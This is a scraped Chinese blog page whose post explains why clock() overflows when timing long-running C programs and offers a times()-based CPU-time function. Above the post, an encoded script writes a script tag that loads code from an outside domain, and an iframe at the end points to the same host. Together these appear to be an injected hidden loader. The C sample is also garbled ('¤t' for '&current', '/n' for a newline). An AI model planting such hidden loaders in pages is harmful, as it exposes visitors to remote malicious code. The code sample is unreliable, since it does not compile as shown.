HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
如何准确的统计自己程序的运行时间
能删除自己写的文章呢???
由于网络问题,重发了,我晕
|
下一篇: 如何准确的统计自己程序的运行时间
function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}
如何准确的统计自己程序的运行时间
如何准确的统计自己程序的运行时间?也许你马上会回答使用C语言集中的clock()函数。不过如果你的程序可能要运行很久,clock()还行吗?答案是否定的。因为clock()内部使用的是clock_t (long类型),在Windows下它所能表示的时间是大约三万五千分钟,不过在unix下最多只能计时35分钟。查看了一下boost提供的timer代码,里面也有这个限制,:(。
大家知道clock()计算的是cpu使用时间,而time()计算的是wall clock time。理论上使用clock要比time要更加准确,特别是有多个进程在多线程调度下。不过在需要对运行超长时间的程序来说,time()看来是比较有效的方法了。
#include <sys/times.h>
#include <unistd.h>
double getRunTime(){
struct tms current;
times(¤t);
double norm = (double)sysconf(_SC_CLK_TCK);
return(((double)current.tms_utime)/norm);
}
int main(){
double startTime = getRunTime();
/* do some job here */
double endTime = getRunTime();
printf("CPU Time = %f second/n", (endTime - startTime) );
return 0;
}
大家有什么建议吗?
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">